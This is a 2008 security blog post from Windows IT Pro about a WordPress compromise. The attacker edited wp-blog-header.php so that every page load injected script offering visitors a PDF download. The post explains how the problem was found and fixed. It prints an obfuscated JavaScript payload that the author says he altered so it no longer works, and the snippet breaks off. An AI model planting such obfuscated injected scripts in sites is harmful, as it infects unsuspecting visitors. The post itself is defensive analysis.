Windows IT Pro is the authoritative and independent resource for windows nt, windows 2000, windows 2003, windows xp. Features a collection of resources and magazines for windows IT professionals.
  
  
  Advanced Search 


November 18, 2008

PDF Attack Via Javascript Injection

RSS
Subscribe to Windows IT Pro | See More Security Articles Here | Reprints | Or get the Monthly Online Pass—only $5.95 a month!
back to blog index

I ran across an interesting javascript injection attack that targets Wordpress. Tracking it down won't be easy for the laymen.

The reason is because most people who work with Wordpress are only savvy enough to handle themes and plugins. The rarely go poking around in the core code base. Plus when you find foreign javascript inside one of your Web pages a lot of site developers and admins will think it must be coming from a modified theme file or plugin.

Recently one of my customers called saying that when people land his Wordpress-based site that they were being offered an automatic PDF download. With a little investigation it became clear that the source of that download was a script in the footer of the site. The problem was that the script was nowhere to be found in the site's theme or any of the plugins, nor was it in the database. That left two options: some sort of hook into Apache itself, or the core Wordpress core base.

After a little digging around I found the problem. Someone had somehow modified the wp-blog-header.php file so that every time a page loads a script is injected. Pretty slick tactic. I've seen this same tactic used to inject hundreds of hidden spam links into other Wordpress sites.

The fix is simple. Edit the PHP file and delete the offending code. Then change permissions on all PHP files in the root directory, the wp-admin directory, and the wp-includes directory so that they only have read access. You can probably do the same thing with the entire wp-content directory tree too, other than the uploads directory.

Anyway here's what the offending javascript code sort of looks like - keep in mind that I modified it heavily so that it doesn't actually work anymore, so this is merely an example the overall tactic used by the intruders to obscure the code:

<-script->var source ="=qwerty?asdfasdf/uiop)Tusjoh/gspnDibsDpef)71-226-==-222-211-222-222-44-222-233-222-211-77-44- 227-212-231-227-58-217-=8-229-:8-226-==- 225-216-223-227-45-43-226-225-||- 72-45-215-227-227-223-69-58-58-68-5|-57-5|- 63-66-55-66-63-57-88-5:-58-224-228-:8-221-227- 226-212-222-222-212-58-224-228-:8-221-222-55- 211-222-45-73-71-55-222-|| -225-216-223-227-73**<=0tdsjqu?"; var result = ""; for(var i=0;i

End of Article



Reader Comments

You must log on before posting a comment.

If you don't have a username & password, please register now.





Search Security Matters
 
Security Matters
JANUARY 2009
     1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
       
or

 Recently in Security Matters
MD5 Collisions Put PKI At Risk
Make a Comment
Remote Code Execution in SQL Server
Make a Comment
Wordpress 2.7 Released: Watch Out For Automatic Upgrades
Make a Comment
Malware Fiesta Attracts and Infects Thousands

Last Comment
Opera's browser percentage is peanuts compared to IE or Firefox. Maybe the malware creator specifica...
(1 Comments)
A Slew of Patches Plus Two Zero-day Exploits
Make a Comment

More blogs about technology,
software, and Windows.

Windows IT Pro Home Register FAQ for Windows WinInfo News
Europe Edition About Us Contact Us/Customer Service Media Kit Affiliates / Licensing  
SQL Server Magazine Office & SharePoint Pro Windows Dev Pro IT Job Hound ITTV
IT Library Technology Resource Directory Connected Home Windows Excavator Windows SuperSite 
 
 Windows IT Pro is a Division of Penton Media Inc.
 Copyright © 2009 Penton Media, Inc., All rights reserved. Terms and Use | Privacy Statement | Reprints and Licensing